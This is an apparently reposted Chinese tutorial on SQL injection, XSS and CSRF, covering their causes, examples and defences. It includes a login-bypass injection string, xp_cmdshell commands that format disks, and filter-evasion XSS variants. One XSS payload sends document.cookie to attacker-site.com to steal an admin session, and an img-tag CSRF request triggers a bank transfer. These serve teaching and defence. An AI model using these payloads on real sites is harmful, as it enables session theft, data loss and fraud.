愛悠閑 > web開發常見安全問題(SQL注入、XSS攻擊、CSRF攻擊)

web開發常見安全問題(SQL注入、XSS攻擊、CSRF攻擊)

分類: 網絡  |  標簽: 網絡安全,sql注入,xss攻擊,csrf攻擊  |  作者: u012546526 相關  |  發布日期 : 2015-05-31  |  熱度 : 337°

SQL注入

        SQL攻擊(SQL injection),簡稱注入攻擊,是發生于應用程序之數據庫層的安全漏洞。簡而言之,是在輸入的字符串之中注入SQL指令,在設計不良的程序當中忽略了檢查,那么這些注入進去的指令就會被數據庫服務器誤認為是正常的SQL指令而運行,因此遭到破壞或是入侵。

原因

        在應用程序中若有下列狀況,則可能應用程序正暴露在SQL Injection的高風險情況下:

  1. 在應用程序中使用字符串聯結方式組合SQL指令。
  2. 在應用程序鏈接數據庫時使用權限過大的賬戶(例如很多開發人員都喜歡用sa(內置的最高權限的系統管理員賬戶)連接Microsoft SQL Server數據庫)。
  3. 在數據庫中開放了不必要但權力過大的功能(例如在Microsoft SQL Server數據庫中的xp_cmdshell延伸預存程序或是OLE Automation預存程序等)
  4. 太過于信任用戶所輸入的數據,未限制輸入的字元數,以及未對用戶輸入的數據做潛在指令的檢查。

作用原理

  1. SQL命令可查詢、插入、更新、刪除等,命令的串接。而以分號字元為不同命令的區別。(原本的作用是用于SubQuery或作為查詢、插入、更新、刪除……等的條件式)
  2. SQL命令對于傳入的字符串參數是用單引號字元所包起來。(但連續2個單引號字元,在SQL資料庫中,則視為字串中的一個單引號字元)
  3. SQL命令中,可以注入注解(連續2個減號字元 – 后的文字為注解,或“/*”與“*/”所包起來的文字為注解)

        因此,如果在組合SQL的命令字符串時,未針對單引號字元作取代處理的話,將導致該字元變數在填入命令字符串時,被惡意竄改原本的SQL語法的作用。

舉例

某個網站的登錄驗證的SQL查詢代碼為

 
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"

惡意填入

 
userName = "'1' OR '1'='1'";

 
passWord = "'1' OR '1'='1'";

時,將導致原本的SQL字符串被填為

 
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"

也就是實際上運行的SQL命令會變成下面這樣的

 
strSQL = "SELECT * FROM users;"

        因此達到無賬號密碼,亦可登錄網站。所以SQL注入攻擊被俗稱為黑客的填空游戲。

可能造成的傷害

  1. 數據表中的數據外泄,例如個人機密數據,賬戶數據,密碼等。
  2. 數據結構被黑客探知,得以做進一步攻擊(例如SELECT * FROM sys.tables)。
  3. 數據庫服務器被攻擊,系統管理員賬戶被竄改(例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。
  4. 獲取系統較高權限后,有可能得以在網頁加入惡意鏈接以及XSS。
  5. 經由數據庫服務器提供的操作系統支持,讓黑客得以修改或控制操作系統(例如xp_cmdshell “net stop iisadmin”可停止服務器的IIS服務)。
  6. 破壞硬盤數據,癱瘓全系統(例如xp_cmdshell “FORMAT C:”)。

防范

  1. 在設計應用程序時,完全使用參數化查詢(Parameterized Query)來設計數據訪問功能。
  2. 在組合SQL字符串時,先針對所傳入的參數作字元取代(將單引號字元取代為連續2個單引號字元)。
  3. 如果使用PHP開發網頁程序的話,亦可打開PHP的魔術引號(Magic quote)功能(自動將所有的網頁傳入參數,將單引號字元取代為連續2個單引號字元)。
  4. 其他,使用其他更安全的方式連接SQL數據庫。例如已修正過SQL注入問題的數據庫連接組件,例如ASP.NET的SqlDataSource對象或是 LINQ to SQL。
  5. 使用SQL防注入系統。

XSS攻擊

        xss表示Cross Site Scripting(跨站腳本攻擊),它與SQL注入攻擊類似,SQL注入攻擊中以SQL語句作為用戶輸入,從而達到查詢/修改/刪除數據的目的,而在xss攻擊中,通過插入惡意腳本,實現對用戶游覽器的控制。

xss攻擊可以分成兩種類型:

  1. 非持久型攻擊
  2. 持久型攻擊

非持久型xss攻擊

        顧名思義,非持久型xss攻擊是一次性的,僅對當次的頁面訪問產生影響。非持久型xss攻擊要求用戶訪問一個被攻擊者篡改后的鏈接,用戶訪問該鏈接時,被植入的攻擊腳本被用戶游覽器執行,從而達到攻擊目的。

假設有以下index.php頁面:

 
<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>";
?>

該頁面顯示兩行信息:

  • 從URI獲取 ‘name’ 參數,并在頁面顯示
  • 顯示跳轉到一條URL的鏈接

這時,當攻擊者給出以下URL鏈接:

 
index.php?name=guest<script>alert('attacked')</script>

當用戶點擊該鏈接時,將產生以下html代碼,帶’attacked’的告警提示框彈出:

 
Welcome guest
<script>alert('attacked')</script>
<br>
<a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>
 

除了插入alert代碼,攻擊者還可以通過以下URL實現修改鏈接的目的:

 
index.php?name=
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>
 

當用戶點擊以上攻擊者提供的URL時,index.php頁面被植入腳本,頁面源碼如下:

 
Welcome 
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
</script>
<br>
<a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>
 

用戶再點擊 “Click to Download” 時,將跳轉至攻擊者提供的鏈接。

對于用于攻擊的URL,攻擊者一般不會直接使用以上可讀形式,而是將其轉換成ASCII碼,以下URL同樣用于實現鏈接地址變更:

 
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
 

持久型xss攻擊

持久型xss攻擊會把攻擊者的數據存儲在服務器端,攻擊行為將伴隨著攻擊數據一直存在。下面來看一個利用持久型xss攻擊獲取session id的實例。

session背景知識

        我們知道HTTP是一個無狀態維持的協議,所有請求/應答都是獨立的,其間不保存狀態信息。但有些場景下我們需要維護狀態信息,例如用戶登錄完web應用后,再一定時間內,用戶再進行登錄,應不需要再輸入用戶名/密碼進行鑒權。

        這時我們用cookie和session解決狀態維護問題,當用戶首次登入時,服務器為該用戶創建一個 session ID,同時向游覽器傳送一個 cookie,cookie保存會話連接中用到的數據,session ID作為會話標識,游覽器后續的請求均基于該session ID。

        攻擊者可以提供一個攻擊鏈接,當用戶點擊該鏈接時,向攻擊者自己的服務器發送一條保存有用戶session ID的信息,這樣就可以竊取到用戶的session ID,得到用戶的執行權限。

舉例

        首先,攻擊者以一個普通用戶登錄進來,然后在輸入框中提交以下數據:

 
<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">bangerlee</a>
 

        攻擊者提交了條帶<a>標簽的數據,該條數據將保存在數據庫中,而當 admin 用戶登入時,包含 “bangerlee” 的用戶列表將顯示,如果 admin 用戶點擊 “bangerlee” 時,在 “attacker-site.com” 所在的服務器上,攻擊者就可以竊取到 admin 的session-id:

 
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3
 

        有了該session-id,攻擊者在會話有效期內即可獲得 admin 用戶的權限,并且由于攻擊數據已添加入數據庫,只要攻擊數據未被刪除,那么攻擊還有可能生效,是持久性的。

        當然,不是只有持久型xss攻擊才能竊取session ID、用戶的cookie信息,用非持久型xss也可以,只要引導用戶點擊某鏈接,將 document.cookie 信息傳到指定服務器即可,以上僅作為說明持久型xss攻擊的舉例。

防范

基于特征的防御

        XSS漏洞和著名的SQL注入漏洞一樣,都是利用了Web頁面的編寫不完善,所以每一個漏洞所利用和針對的弱點都不盡相同。這就給XSS漏洞防御帶來了困難:不可能以單一特征來概括所有XSS攻擊。

        傳統XSS防御多采用特征匹配方式,在所有提交的信息中都進行匹配檢查。對于這種類型的XSS攻擊,采用的模式匹配方法一般會需要對“javascript”這個關鍵字進行檢索,一旦發現提交信息中包含“javascript”,就認定為XSS攻擊。這種檢測方法的缺陷顯而易見:駭客可以通過插入字符或完全編碼的方式躲避檢測:

  1. 在javascript中加入多個tab鍵,得到
    < IMG SRC="jav ascript:alert('XSS');" >;
  2. 在javascript中加入(空格)字符,得到
    < IMG SRC="javascri pt:alert('XSS');" >;
  3. 在javascript中加入(回車)字符,得到

< IMG SRC="jav
ascript:alert('XSS');" >;

4. 在javascript中的每個字符間加入回車換行符,得到
< IMG SRC="javascrip\r
\nt:alert('XSS');" >

5. 對”javascript:alert(‘XSS’)”采用完全編碼,得到
< IMGSRC=javascrip?74:alert('XSS') >

        上述方法都可以很容易的躲避基于特征的檢測。而除了會有大量的漏報外,基于特征的
還存在大量的誤報可能:在上面的例子中,對上述某網站這樣一個地址,由于包含了關鍵字“javascript”,也將會觸發報警。

基于代碼修改的防御

        和SQL注入防御一樣,XSS攻擊也是利用了Web頁面的編寫疏忽,所以還有一種方法就是從Web應用開發的角度來避免:

  1. 對所有用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度范圍內、采用適當格式、采用所預期的字符的內容提交,對其他的一律過濾。
  2. 實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。
  3. 確認接收的的內容被妥善的規范化,僅包含最小的、安全的Tag(沒有javascript),去掉任何對遠程內容的引用(尤其是樣式表和javascript),使用HTTP only的cookie。

        當然,如上操作將會降低Web業務系統的可用性,用戶僅能輸入少量的制定字符,人與系統間的交互被降到極致,僅適用于信息發布型站點。并且考慮到很少有Web編碼人員受過正規的安全培訓,很難做到完全避免頁面中的XSS漏洞。


CSRF攻擊

        CSRF(Cross-site request forgery跨站請求偽造,也被稱為“one click attack”或者session riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,并且攻擊方式幾乎相左。XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防范的資源也相當稀少)和難以防范,所以被認為比XSS更具危險性。

CSRF攻擊原理

CSRF攻擊原理比較簡單,假設Web A為存在CSRF漏洞的網站,Web B為攻擊者構建的惡意網站,User C為Web A網站的合法用戶。

  1. 用戶C打開瀏覽器,訪問受信任網站A,輸入用戶名和密碼請求登錄網站A;
    2.在用戶信息通過驗證后,網站A產生Cookie信息并返回給瀏覽器,此時用戶登錄網站A成功,可以正常發送請求到網站A;
  2. 用戶未退出網站A之前,在同一瀏覽器中,打開一個TAB頁訪問網站B;
  3. 網站B接收到用戶請求后,返回一些攻擊性代碼,并發出一個請求要求訪問第三方站點A;
  4. 瀏覽器在接收到這些攻擊性代碼后,根據網站B的請求,在用戶不知情的情況下攜帶Cookie信息,向網站A發出請求。網站A并不知道該請求其實是由B發起的,所以會根據用戶C的Cookie信息以C的權限處理該請求,導致來自網站B的惡意代碼被執行。

舉例

        銀行網站A,它以GET請求來完成銀行轉賬的操作,如:
http://www.mybank.com/Transfer.php?toBankId=11&money=1000

        危險網站B,它里面有一段HTML的代碼如下:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

        首先,你登錄了銀行網站A,然后訪問危險網站B,噢,這時你會發現你的銀行賬戶少了1000塊……

        為什么會這樣呢?原因是銀行網站A違反了HTTP規范,使用GET請求更新資源。在訪問危險網站B的之前,你已經登錄了銀行網站A,而B中的<img>以GET的方式請求第三方資源(這里的第三方就是指銀行網站了,原本這是一個合法的請求,但這里被不法分子利用了),所以你的瀏覽器會帶上你的銀行網站A的Cookie發出Get請求,去獲取資源http://www.mybank.com/Transfer.php?toBankId=11&money=1000,結果銀行網站服務器收到請求后,認為這是一個更新資源操作(轉賬操作),所以就立刻進行轉賬操作……

防范

檢查Referer字段

        HTTP頭中有一個Referer字段,這個字段用以標明請求來源于哪個地址。在處理敏感數據請求時,通常來說,Referer字段應和請求的地址位于同一域名下。以上文銀行操作為例,Referer字段地址通常應該是轉賬按鈕所在的網頁地址,應該也位于www.examplebank.com之下。而如果是CSRF攻擊傳來的請求,Referer字段會是包含惡意網址的地址,不會位于www.examplebank.com之下,這時候服務器就能識別出惡意的訪問。

        這種辦法簡單易行,工作量低,僅需要在關鍵訪問處增加一步校驗。但這種辦法也有其局限性,因其完全依賴瀏覽器發送正確的Referer字段。雖然http協議對此字段的內容有明確的規定,但并無法保證來訪的瀏覽器的具體實現,亦無法保證瀏覽器沒有安全漏洞影響到此字段。并且也存在攻擊者攻擊某些瀏覽器,篡改其Referer字段的可能。

添加校驗token

        由于CSRF的本質在于攻擊者欺騙用戶去訪問自己設置的地址,所以如果要求在訪問敏感數據請求時,要求用戶瀏覽器提供不保存在cookie中,并且攻擊者無法偽造的數據作為校驗,那么攻擊者就無法再執行CSRF攻擊。這種數據通常是表單中的一個數據項。服務器將其生成并附加在表單中,其內容是一個偽亂數。當客戶端通過表單提交請求時,這個偽亂數也一并提交上去以供校驗。正常的訪問時,客戶端瀏覽器能夠正確得到并傳回這個偽亂數,而通過CSRF傳來的欺騙性攻擊中,攻擊者無從事先得知這個偽亂數的值,服務器端就會因為校驗token的值為空或者錯誤,拒絕這個可疑請求。



同類文章:網絡
快乐彩中奖说明